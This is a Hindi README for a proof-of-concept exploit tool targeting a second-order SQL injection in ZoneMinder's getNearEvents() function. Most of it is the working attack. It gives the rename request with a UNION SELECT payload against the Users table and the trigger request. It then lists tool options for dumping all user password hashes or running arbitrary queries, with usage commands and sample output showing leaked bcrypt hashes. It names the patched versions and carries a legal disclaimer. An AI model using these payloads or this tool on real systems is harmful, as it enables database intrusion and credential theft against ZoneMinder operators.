
ZoneMinder (CVE-2026-27470) में दूसरे-क्रम SQL इंजेक्शन के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। प्रमाणित डेटा निष्कर्षण प्रदर्शित करता है, जिसमें उपयोगकर्ता क्रेडेंशियल शामिल हैं, साथ ही कस्टम क्वेरी और हैश डंपिंग के विकल्प भी उपलब्ध हैं।
⚠️ यासल उयारी / कानूनी अस्वीकरण
यह उपकरण केवल शैक्षिक उद्देश्यों और लिखित अनुमति प्राप्त सुरक्षा परीक्षणों के लिए विकसित किया गया है। उन प्रणालियों के विरुद्ध उपयोग करना अवैध है जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। अनधिकृत पहुँच कई देशों में गंभीर आपराधिक दंड के अधीन है (तुर्की TCK अनुच्छेद 243-245, अमेरिका CFAA, यूरोपीय संघ NIS निर्देश आदि)। इस उपकरण के दुरुपयोग से उत्पन्न होने वाली सभी प्रकार की कानूनी जिम्मेदारी उपयोगकर्ता की है; लेखक कोई जिम्मेदारी स्वीकार नहीं करता है।
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। उन प्रणालियों के विरुद्ध उपयोग करना अवैध है जिनके स्वामी आप नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है। अनधिकृत पहुँच CFAA (अमेरिका), Computer Misuse Act (यूके) और दुनिया भर के समकक्ष कानूनों का उल्लंघन कर सकती है। लेखक इस उपकरण के किसी भी दुरुपयोग के लिए कोई जिम्मेदारी स्वीकार नहीं करता है।
ZoneMinder में सेकंड-ऑर्डर SQL इंजेक्शन भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट। Events संपादन और देखने की अनुमति वाला एक प्रमाणित उपयोगकर्ता डेटाबेस से मनमाना डेटा निकाल सकता है — जिसमें सभी उपयोगकर्ता क्रेडेंशियल शामिल हैं।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-27470 |
| गंभीरता | HIGH — CVSS 8.8 |
| वेक्टर | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित | ZoneMinder ≤ 1.36.37 और 1.37.61 – 1.38.0 |
| समाधान | 1.36.38 / 1.38.1 |
| फ़ाइल | web/ajax/status.php → getNearEvents() |
| CWE | CWE-89: SQL कमांड्स का अनुचित न्यूट्रलाइज़ेशन |
| प्रमाणीकरण आवश्यक | हाँ — Events संपादन + देखने की अनुमति |
यह एक पाठ्यपुस्तक सेकंड-ऑर्डर (संग्रहीत) SQL इंजेक्शन है। हमला दो अलग-अलग चरणों में होता है, यही कारण है कि पारंपरिक स्कैनर अक्सर इसे पकड़ नहीं पाते हैं।
चरण 1 — सुरक्षित लेखन
हमलावर एक दुर्भावनापूर्ण पेलोड के साथ एक इवेंट का नाम बदलता है। ZoneMinder यहाँ सही ढंग से पैरामीटराइज़्ड क्वेरी का उपयोग करता है, इसलिए पेलोड बिना किसी त्रुटि के डेटाबेस में सुरक्षित रूप से संग्रहीत हो जाता है:
POST /index.php HTTP/1.1
request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — सुरक्षित ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);
इस बिंदु पर सब कुछ साफ दिखता है। पेलोड चुपचाप Events.Name कॉलम में बैठा है।
चरण 2 — असुरक्षित पठन
हमलावर उसी इवेंट रिकॉर्ड के लिए निकट इवेंट्स का अनुरोध करके getNearEvents() को ट्रिगर करता है। फ़ंक्शन संग्रहीत Name मान को डेटाबेस से वापस पढ़ता है और बिना किसी एस्केपिंग के इसे सीधे एक नई SQL क्वेरी में जोड़ता है:
GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~लाइन 460 — असुरक्षित ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);
$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
INNER JOIN Monitors M ON E.MonitorId = M.Id
WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\' // ← इंजेक्शन बिंदु
AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];
संग्रहीत पेलोड स्ट्रिंग संदर्भ से बाहर निकल जाता है और इंजेक्ट किया गया UNION SELECT निष्पादित होता है, जो JSON प्रतिक्रिया के NextEventId फ़ील्ड में डेटा लीक करता है:
{
"result": "Ok",
"nearevents": {
"EventId": "1",
"NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
"NextEventStartTime": null
}
}
डेवलपर ने एक बहुत ही सामान्य गलती की: उन्होंने लेखन समय पर उपयोगकर्ता इनपुट को सही ढंग से सैनिटाइज़ किया, जिससे सुरक्षा की झूठी भावना पैदा हुई। यह धारणा कि "हमारे अपने डेटाबेस से डेटा सुरक्षित है" ने भेद्यता को वर्षों तक पठन पथ में मौजूद रहने दिया। WAF और अधिकांश स्वचालित स्कैनर इसे नहीं पकड़ पाएंगे क्योंकि लेखन अनुरोध पूरी तरह से साफ दिखता है।
pip install requests
-t, --target लक्ष्य URL (जैसे http://10.10.10.10:8080)
-u, --username ZoneMinder उपयोगकर्ता नाम
-p, --password ZoneMinder पासवर्ड
--event-id इंजेक्शन वाहक के रूप में उपयोग करने के लिए इवेंट ID
--query निष्पादित करने के लिए कस्टम SQL क्वेरी
--dump-users सभी उपयोगकर्ता नाम और पासवर्ड हैश डंप करें
--field इंजेक्शन फ़ील्ड: Name (डिफ़ॉल्ट) या Cause
--no-restore एक्सप्लॉइटेशन के बाद इवेंट नाम पुनर्स्थापित न करें
# DB संस्करण जांचें (सबसे सरल परीक्षण)
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT VERSION()"
# सभी उपयोगकर्ता और पासवर्ड हैश डंप करें
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--dump-users
# Name के बजाय Cause फ़ील्ड के माध्यम से इंजेक्ट करें
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--field Cause --dump-users
# कस्टम क्वेरी
python3 poc.py -t http://TARGET -u admin -p admin --event-id 1 \
--query "SELECT @@hostname"
╔══════════════════════════════════════════════════════════╗
║ CVE-2026-27470 — ZoneMinder Second-Order SQLi PoC ║
║ CVSS 8.8 | Authenticated | Events Permission ║
╚══════════════════════════════════════════════════════════╝
[*] Target : http://10.10.10.10:8080
[*] Logging in...
[+] Session established.
[+] Event ID (manual): 1
[*] Injecting payload (Name field)...
[+] Payload stored via parameterized query — looks clean in DB.
[*] Triggering second-order injection...
[*] HTTP 200
[*] Event name restored.
[+] User count: 2
[*] Running query: SELECT Username FROM Users LIMIT 0,1
[*] Running query: SELECT Password FROM Users LIMIT 0,1
[+] User 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6
[*] Running query: SELECT Username FROM Users LIMIT 1,1
[*] Running query: SELECT Password FROM Users LIMIT 1,1
[+] User 2: operator:$2b$12$xK8s...
Attacker ZoneMinder MariaDB
│ │ │
│ POST /index.php │ │
│ action=rename │ │
│ eventName=<PAYLOAD> ──────► │ │
│ │ UPDATE Events SET Name=? ──►│
│ │ (parameterized — safe) │
│ │◄─────────────────────────────│
│ │ │
│ GET /index.php │ │
│ entity=nearevents ──────► │ │
│ sort_field=Name │ SELECT * FROM Events WHERE │
│ │ Id=? ──►│
│ │◄── Name = '<PAYLOAD>' ───────│
│ │ │
│ │ builds SQL string: │
│ │ WHERE Name >= '<PAYLOAD>' │
│ │ (no escaping!) │
│ │ UNION SELECT executes ────► │
│ │◄── credentials ──────────────│
│◄── JSON with leaked data ─────│ │